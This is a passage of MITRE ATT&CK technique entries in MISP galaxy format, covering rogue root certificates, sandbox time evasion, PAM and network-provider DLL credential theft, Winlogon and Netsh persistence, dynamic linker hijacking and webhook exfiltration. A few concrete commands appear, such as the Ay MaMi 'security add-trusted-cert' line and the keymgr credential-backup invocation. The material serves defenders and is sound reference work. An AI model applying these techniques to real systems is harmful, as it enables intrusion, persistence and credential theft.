In macOS, the Ay MaMi malware uses `code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code>` to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"
Virtual Private Server - T1584.003

Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves. (Citation: NSA NCSC Turla OilRig)

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.

The tag is: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003"

Table 5269. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1584/003">https://attack.mitre.org/techniques/T1584/003</a></td>
</tr>
<tr>
<td><a href="https://threatconnect.com/blog/infrastructure-research-hunting/">https://threatconnect.com/blog/infrastructure-research-hunting/</a></td>
</tr>
</tbody>
</table>

Time Based Evasion - T1497.003

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on
waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

The tag is: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"`

### Table 5270. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1497/003">https://attack.mitre.org/techniques/T1497/003</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/1t0jn3xr4ff2fr30oQAUn_RsWSnMpOQAQc">https://drive.google.com/file/d/1t0jn3xr4ff2fr30oQAUn_RsWSnMpOQAQc</a></td>
</tr>
<tr>
<td><a href="https://www.joesecurity.org/blog/3660886847485093803">https://www.joesecurity.org/blog/3660886847485093803</a></td>
</tr>
<tr>
<td><a href="https://www.joesecurity.org/blog/49883998833561473">https://www.joesecurity.org/blog/49883998833561473</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique">https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique</a></td>
</tr>
</tbody>
</table>

### Application Exhaustion Flood - T1499.003

Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="Application Exhaustion Flood - T1499.003"`

### Table 5271. Table References
Pluggable Authentication Modules - T1556.003

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is `<code>pam_unix.so</code>`, which retrieves, sets, and verifies account authentication information in `<code>/etc/passwd</code>` and `<code>/etc/shadow</code>`.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as `<code>pam_unix.so</code>`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)

The tag is: `misp-galaxy:mitre-attack-pattern="Pluggable Authentication Modules - T1556.003"

Table 5272. Table References

## Runtime Data Manipulation - T1565.003

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.
Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003"

**Table 5273. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1565/003">https://attack.mitre.org/techniques/T1565/003</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>

**Spearphishing via Service - T1566.003**

Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.

A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.

The tag is: *misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003"

**Table 5274. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1566/003">https://attack.mitre.org/techniques/T1566/003</a></td>
</tr>
</tbody>
</table>
Delete Cloud Instance - T1578.003

An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives. (Citation: Mandiant M-Trends 2020)

The tag is: `misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003"

### Table 5275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1578/003">https://attack.mitre.org/techniques/T1578/003</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/logging/docs/audit#admin-activity">https://cloud.google.com/logging/docs/audit#admin-activity</a></td>
</tr>
</tbody>
</table>

Code Signing Certificates - T1588.003

Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. (Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.

The tag is: `misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003"

### Table 5276. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588/003">https://attack.mitre.org/techniques/T1588/003</a></td>
</tr>
</tbody>
</table>
NTFS File Attributes - T1564.004

Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

The tag is: 
misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"

Table S277. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html">http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/004">https://attack.mitre.org/techniques/T1564/004</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea">https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea</a></td>
</tr>
</tbody>
</table>

Winlogon Helper DLL - T1547.004

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\\\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)
• Winlogon\Notify - points to notification package DLLs that handle Winlogon events
• Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
• Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.

The tag is: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004"

Table 5278. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/004">https://attack.mitre.org/techniques/T1547/004</a></td>
</tr>
</tbody>
</table>

**Windows Credential Manager - T1555.004**

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.

Password recovery tools may also obtain plain text passwords from the Credential
Manager.(Citation: Malwarebytes The Windows Vault)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004"*

Table 5279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1555/004">https://attack.mitre.org/techniques/T1555/004</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/">https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store</a></td>
</tr>
<tr>
<td><a href="https://www.passcape.com/windows_password_recovery_vault_explorer">https://www.passcape.com/windows_password_recovery_vault_explorer</a></td>
</tr>
</tbody>
</table>

**Network Device Authentication - T1556.004**

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device Authentication - T1556.004"*

Table 5280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/004">https://attack.mitre.org/techniques/T1556/004</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/resources/integrity_assurance.html#13">https://tools.cisco.com/security/center/resources/integrity_assurance.html#13</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/resources/integrity_assurance.html#7">https://tools.cisco.com/security/center/resources/integrity_assurance.html#7</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/synful-knock-acis">https://www.mandiant.com/resources/synful-knock-acis</a></td>
</tr>
</tbody>
</table>

**Hidden File System - T1564.005**

Adversaries may use a hidden file system to conceal malicious activity from users and security
tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005"

**Table 5281. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/005">https://attack.mitre.org/techniques/T1564/005</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html">https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html</a></td>
</tr>
</tbody>
</table>

**Security Support Provider - T1547.005**

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: 
<code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Support Provider - T1547.005"

**Table 5282. Table References**
Run Virtual Instance - T1564.006

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)

The tag is: `misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"`

Table 5283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/006">https://attack.mitre.org/techniques/T1564/006</a></td>
</tr>
</tbody>
</table>

Netsh Helper DLL - T1546.007

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at `<code>HKLM\SOFTWARE\Microsoft\Netsh</code>`.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the
system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

The tag is: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007"

Table 5284. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1546/007">https://attack.mitre.org/techniques/T1546/007</a></td>
</tr>
<tr>
<td><a href="https://github.com/outflankbv/NetshHelperBeacon">https://github.com/outflankbv/NetshHelperBeacon</a></td>
</tr>
</tbody>
</table>

**Dynamic Linker Hijacking - T1574.006**

Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as `<code>LD_PRELOAD</code>` on Linux or `<code>DYLD_INSERT_LIBRARIES</code>` on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)

On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process’s memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the `<code>export</code>` command, `<code>setenv</code>` function, or `<code>putenv</code>` function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s `<code>os.environ</code>`.

On Linux, adversaries may set `<code>LD_PRELOAD</code>` to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary’s malicious code upon execution of the victim program. `<code>LD_PRELOAD</code>` can be set via the environment variable or `<code>/etc/ld.so.preload</code>` file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by `<code>LD_PRELOAD</code>` are loaded and mapped into memory by `<code>dlopen()</code>` and `<code>mmap()</code>` respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)

On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS
dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program. (Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass)

The tag is: **misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006"**

**Table 5285. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://hick.org/code/skape/papers/needle.txt">http://hick.org/code/skape/papers/needle.txt</a></td>
</tr>
<tr>
<td><a href="http://phrack.org/issues/51/8.html">http://phrack.org/issues/51/8.html</a></td>
</tr>
<tr>
<td><a href="http://www.nth-dimension.org.uk/pub/BTL.pdf">http://www.nth-dimension.org.uk/pub/BTL.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1574/006">https://attack.mitre.org/techniques/T1574/006</a></td>
</tr>
<tr>
<td><a href="https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/">https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/</a></td>
</tr>
<tr>
<td><a href="https://www.baeldung.com/linux/ld_preload-trick-what-is">https://www.baeldung.com/linux/ld_preload-trick-what-is</a></td>
</tr>
<tr>
<td><a href="https://www.datawire.io/code-injection-on-linux-and-macos/">https://www.datawire.io/code-injection-on-linux-and-macos/</a></td>
</tr>
</tbody>
</table>

**Exfiltration Over Webhook - T1567.004**

Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. (Citation: RedHat Webhooks) Many public and commercial services, such as Discord, Slack, and webhook.site, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. (Citation: Discord Intro to Webhooks) When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.

Adversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) of emails, chat messages, and other data. (Citation: Push Security SaaS Attacks Repository Webhooks) Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it. (Citation: Microsoft SQL Server)

Access to webhook endpoints is often over HTTPS, which gives the adversary an additional level of...
protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos Discord Webhook Abuse)(Citation: Checkmarx Webhooks)

The tag is: 

**misp-galaxy:mitre-attack-pattern**="Exfiltration Over Webhook - T1567.004"

### Email Hiding Rules - T1564.008

Adversaries may use email rules to hide inbound emails in a compromised user’s mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the `<code>New-InboxRule</code>` or `<code>Set-InboxRule</code>` [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)

Adversaries may utilize email rules within a compromised user’s mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.

Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as `<code>malware</code>`, `<code>suspicious</code>`, `<code>phish</code>`, and `<code>hack</code>`) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)

In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules)
2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).

The tag is: *misp-galaxy:*mitre-attack-pattern="Email Hiding Rules - T1564.008"

**Table 5287. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/008">https://attack.mitre.org/techniques/T1564/008</a></td>
</tr>
<tr>
<td><a href="https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac">https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac</a></td>
</tr>
</tbody>
</table>

**Revert Cloud Instance - T1578.004**

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

The tag is: *misp-galaxy:*mitre-attack-pattern="Revert Cloud Instance - T1578.004"

**Table 5288. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1578/004">https://attack.mitre.org/techniques/T1578/004</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots">https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots</a></td>
</tr>
<tr>
<td><a href="https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/">https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/</a></td>
</tr>
</tbody>
</table>
Network Provider DLL - T1556.008

Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions. (Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local mpnotify.exe process via RPC. The mpnotify.exe process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening. (Citation: NPPSPY - Huntress) (Citation: NPPSPY Video) (Citation: NPLogonNotify)

Adversaries can configure a malicious network provider DLL to receive credentials from mpnotify.exe. (Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the NPLogonNotify() function. (Citation: NPLogonNotify)

Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers. (Citation: NPPSPY - Huntress)

The tag is: misp-galaxy:mitre-attack-pattern="Network Provider DLL - T1556.008"

Table 5289. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1556/008">https://attack.mitre.org/techniques/T1556/008</a></td>
</tr>
<tr>
<td><a href="https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy">https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy">https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=ggY3srD9dYs">https://www.youtube.com/watch?v=ggY3srD9dYs</a></td>
</tr>
</tbody>
</table>

Spoof Security Alerting - T1562.011

